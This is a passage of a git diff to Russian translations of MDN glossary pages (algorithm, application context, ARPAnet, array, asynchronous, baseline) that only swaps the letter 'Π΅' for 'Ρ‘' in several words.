-<p>Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ - это срСдство описания способа Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ людьми ΠΈΠ»ΠΈ машинами. Β ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Π΅ ΡƒΡ‡Π΅Π½Ρ‹Π΅ ΡΡ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ понятия «АлгоритмичСская Π‘Π»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ» ΠΈΠ»ΠΈ Β«Big OΒ».</p>
+<p>Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ - это срСдство описания способа Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ людьми ΠΈΠ»ΠΈ машинами. Β ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Π΅ ΡƒΡ‡Ρ‘Π½Ρ‹Π΅ ΡΡ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ понятия «АлгоритмичСская Π‘Π»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ» ΠΈΠ»ΠΈ Β«Big OΒ».</p>
<p>НапримСр:</p>
@@ -19,9 +19,9 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Algorithm
<li>Алгоритм сортировки часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ машинС, ΠΊΠ°ΠΊ ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅.</li>
</ul>
-<p>РаспространСнными Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ поиска ΠΏΡƒΡ‚ΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π·Π°Π΄Π°Ρ‡Π° коммивояТСра, Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ ΠΎΠ±Ρ…ΠΎΠ΄Π° Π΄Π΅Ρ€Π΅Π²Π° ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>Распространёнными Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ поиска ΠΏΡƒΡ‚ΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π·Π°Π΄Π°Ρ‡Π° коммивояТёра, Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ ΠΎΠ±Ρ…ΠΎΠ΄Π° Π΄Π΅Ρ€Π΅Π²Π° ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ машинного обучСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ линСйная рСгрСссия, логистичСская рСгрСссия, Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ, случайный лСс, машина ΠΎΠΏΠΎΡ€Π½Ρ‹Ρ… Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠ², рСкуррСнтная нСйронная ΡΠ΅Ρ‚ΡŒ (РНБ), долгая краткосрочная ΠΏΠ°ΠΌΡΡ‚ΡŒ (LSTM), свСрточная нСйронная ΡΠ΅Ρ‚ΡŒ (CNN), глубокая свСрточная нСйронная ΡΠ΅Ρ‚ΡŒ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ машинного обучСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ линСйная рСгрСссия, логистичСская рСгрСссия, Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ, случайный лСс, машина ΠΎΠΏΠΎΡ€Π½Ρ‹Ρ… Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠ², рСкуррСнтная нСйронная ΡΠ΅Ρ‚ΡŒ (РНБ), долгая краткосрочная ΠΏΠ°ΠΌΡΡ‚ΡŒ (LSTM), свёрточная нСйронная ΡΠ΅Ρ‚ΡŒ (CNN), глубокая свёрточная нСйронная ΡΠ΅Ρ‚ΡŒ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС">Π£Π·Π½Π°Ρ‚ΡŒ большС</h2>
diff --git a/files/ru/glossary/application_context/index.html b/files/ru/glossary/application_context/index.html
index 9989eea079..454a954ab1 100644
--- a/files/ru/glossary/application_context/index.html
+++ b/files/ru/glossary/application_context/index.html
@@ -10,6 +10,6 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/application_context
---
<p id="Summary">ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ прилоТСния - это  <a href="/en-US/docs/Glossary/Browsing_context">browsing context (контСкст просмотра)</a>Β Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня,Β ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ примСняСтся <a href="https://developer.mozilla.org/en-US/docs/Web/Manifest">манифСст</a>.Β </p>
-<p>Если контСкст прилоТСния создаСтся Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ запроса Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΊ Π³Π»ΡƒΠ±ΠΈΠ½Π½ΠΎΠΌΡƒ ΡΠ²ΡΠ·Ρ‹Π²Π°Π½ΠΈΡŽ, Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ Π³Π»ΡƒΠ±ΠΈΠ½Π½ΠΎΠΌΡƒ ΡΠ²ΡΠ·Ρ‹Π²Π°Π½ΠΈΡŽΒ Ρ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ. Π˜Π½Π°Ρ‡Π΅ говоря, ΠΏΡ€ΠΈ создании контСкста прилоТСния, Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊΒ  Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌΡƒ URL-адрСсу с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ.</p>
+<p>Если контСкст прилоТСния создаётся Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ запроса Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π° ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΊ Π³Π»ΡƒΠ±ΠΈΠ½Π½ΠΎΠΌΡƒ ΡΠ²ΡΠ·Ρ‹Π²Π°Π½ΠΈΡŽ, Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ Π³Π»ΡƒΠ±ΠΈΠ½Π½ΠΎΠΌΡƒ ΡΠ²ΡΠ·Ρ‹Π²Π°Π½ΠΈΡŽΒ Ρ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ. Π˜Π½Π°Ρ‡Π΅ говоря, ΠΏΡ€ΠΈ создании контСкста прилоТСния, Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊΒ  Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌΡƒ URL-адрСсу с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ.</p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ URL-адрСс Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ элСмСнта start_url : ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΈΠ»ΠΈ Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΌΠΎΠ³ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΡ€ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ прилоТСния Π½Π° Π³Π»Π°Π²Π½Ρ‹ΠΉ экран ΠΈΠ»ΠΈ Π² Π·Π°ΠΊΠ»Π°Π΄ΠΊΠΈ.</p>
diff --git a/files/ru/glossary/arpanet/index.html b/files/ru/glossary/arpanet/index.html
index c4b205ef8a..43bdb1a016 100644
--- a/files/ru/glossary/arpanet/index.html
+++ b/files/ru/glossary/arpanet/index.html
@@ -9,7 +9,7 @@ tags:
translation_of: Glossary/Arpanet
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Arpanet
---
-<p>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Π°Ρ ΡΠ΅Ρ‚ΡŒΒ <strong>ARPAnetΒ </strong>(advanced research projects agency network) являСтся ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Ρ… сСтСй, Π±Ρ‹Π»Π° создана Π² 1969 ΠΊΠ°ΠΊ надСТная срСда для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π²ΠΎΠ΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π²Π΅Π΄ΡƒΡ‰ΠΈΡ… ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π³Ρ€ΡƒΠΏΠΏ ΠΏΠΎ всСй Ρ‚Π΅Ρ€Ρ€ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚ΠΎΠ². Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ARPAnet использовал NCP (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» сСтСвого управлСния), Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΠΈΠ»ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° {{glossary ("TCP")}} / {{glossary ("IPv6", "IP")}}, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ARPAnet Π²Ρ‹Π΄Π°ΡŽΡ‰Π΅ΠΉΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π·Π°Ρ€ΠΎΠΆΠ΄Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ {{glossary("Internet","Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°")}}. ARPAnet Π±Ρ‹Π»Π° Π·Π°ΠΊΡ€Ρ‹Ρ‚Π° Π² Π½Π°Ρ‡Π°Π»Π΅ 1990 Π³ΠΎΠ΄Π°.</p>
+<p>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Π°Ρ ΡΠ΅Ρ‚ΡŒΒ <strong>ARPAnetΒ </strong>(advanced research projects agency network) являСтся ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Ρ… сСтСй, Π±Ρ‹Π»Π° создана Π² 1969 ΠΊΠ°ΠΊ надёТная срСда для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π²ΠΎΠ΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π²Π΅Π΄ΡƒΡ‰ΠΈΡ… ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π³Ρ€ΡƒΠΏΠΏ ΠΏΠΎ всСй Ρ‚Π΅Ρ€Ρ€ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Π‘ΠΎΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚ΠΎΠ². Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ARPAnet использовал NCP (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» сСтСвого управлСния), Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΠΈΠ»ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° {{glossary ("TCP")}} / {{glossary ("IPv6", "IP")}}, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ARPAnet Π²Ρ‹Π΄Π°ΡŽΡ‰Π΅ΠΉΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π·Π°Ρ€ΠΎΠΆΠ΄Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ {{glossary("Internet","Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°")}}. ARPAnet Π±Ρ‹Π»Π° Π·Π°ΠΊΡ€Ρ‹Ρ‚Π° Π² Π½Π°Ρ‡Π°Π»Π΅ 1990 Π³ΠΎΠ΄Π°.</p>
<h2 id="ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</h2>
diff --git a/files/ru/glossary/array/index.html b/files/ru/glossary/array/index.html
index 7118101680..c9c0d9779a 100644
--- a/files/ru/glossary/array/index.html
+++ b/files/ru/glossary/array/index.html
@@ -9,7 +9,7 @@ tags:
translation_of: Glossary/array
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Массив
---
-<p>Массив это упорядочСнный Π½Π°Π±ΠΎΡ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (смотритС Π΅Ρ‰Π΅ {{Glossary("ΠŸΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²")}} ΠΈΠ»ΠΈ {{Glossary("ΠžΠ±ΡŠΠ΅ΠΊΡ‚")}} зависит ΠΎΡ‚ языка). ΠœΠ°ΡΡΠΈΠ²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ мноТСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π΅Π΄ΠΈΠ½ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅. Π­Ρ‚ΠΎ относится ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Массив это упорядочСнный Π½Π°Π±ΠΎΡ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (смотритС Π΅Ρ‰Ρ‘ {{Glossary("ΠŸΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²")}} ΠΈΠ»ΠΈ {{Glossary("ΠžΠ±ΡŠΠ΅ΠΊΡ‚")}} зависит ΠΎΡ‚ языка). ΠœΠ°ΡΡΠΈΠ²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ мноТСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π΅Π΄ΠΈΠ½ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅. Π­Ρ‚ΠΎ относится ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<p>ΠšΠ°ΠΆΠ΄ΠΎΠΌΡƒ элСмСнту Π² массивС соотвСтствуСт свой Π½ΠΎΠΌΠ΅Ρ€, называСтся ΠΎΠ½ индСксом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊ Π½Π΅ΠΌΡƒ доступ. Π’ JavaScript, массивы Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с индСкса ноль ΠΈ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ( Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ:{{Glossary("Method", " ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹")}}).</p>
diff --git a/files/ru/glossary/asynchronous/index.html b/files/ru/glossary/asynchronous/index.html
index 573b4a3d93..ca01915a68 100644
--- a/files/ru/glossary/asynchronous/index.html
+++ b/files/ru/glossary/asynchronous/index.html
@@ -12,7 +12,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Asynchronous
<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для описания Ρ‚Π°ΠΊΠΎΠΉ срСды связи, ΠΊΠ°ΠΊ e-mail β€” ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒ отправляСт сообщСниС, Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ Π½Π° Π½Π΅Π³ΠΎ, ΠΊΠΎΠ³Π΄Π° Π΅ΠΌΡƒ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄ΠΎΠ±Π½ΠΎ; ΠΎΠ½ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ.</p>
-<p>Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, для описания ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΉ срСды связи, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{domxref("Ajax")}} это асинхронный ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для запроса нСбольшого объСма Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Β <a href="/en-US/docs/Web/HTTP">HTTP</a>; Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ сформирован, Π° Π½Π΅ сразу.</p>
+<p>Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, для описания ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΉ срСды связи, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{domxref("Ajax")}} это асинхронный ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для запроса нСбольшого ΠΎΠ±ΡŠΡ‘ΠΌΠ° Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Β <a href="/en-US/docs/Web/HTTP">HTTP</a>; Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ сформирован, Π° Π½Π΅ сразу.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/glossary/baseline/index.html b/files/ru/glossary/baseline/index.html
index 23db6e40c5..78cfee2a65 100644
--- a/files/ru/glossary/baseline/index.html
+++ b/files/ru/glossary/baseline/index.html
@@ -12,7 +12,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/baseline
---
<p><strong>Базовая линия </strong>- это Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² СвропСйской ΠΈ Π·Π°ΠΏΠ°Π΄Π½ΠΎ-азиатской Ρ‚ΠΈΠΏΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ, ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡƒΡŽ линию, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠΏΠΈΡ€Π°ΡŽΡ‚ΡΡ символы ΡˆΡ€ΠΈΡ„Ρ‚Π°.</p>
-<p>ΠŸΠΎΡ‚ΠΎΠΌΠΊΠΈ символов Ρ‚ΠΈΠΏΠ° g ΠΈ p ΠΏΡ€ΠΎΡΡ‚ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π½ΠΈΠΆΠ΅ этой строки. {{Glossary("glyph", "Π“Π»ΠΈΡ„Ρ‹")}} с Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π½ΠΈΠΆΠ½ΠΈΠΌΠΈ ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠΌΠΈ окончаниями Ρ‚ΠΈΠΏΠ° C ΠΈΠ»ΠΈ 3 слСгка ΠΏΡ€ΠΎΡΡ‚ΠΈΡ€Π°ΡŽΡ‚ΡΡ ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
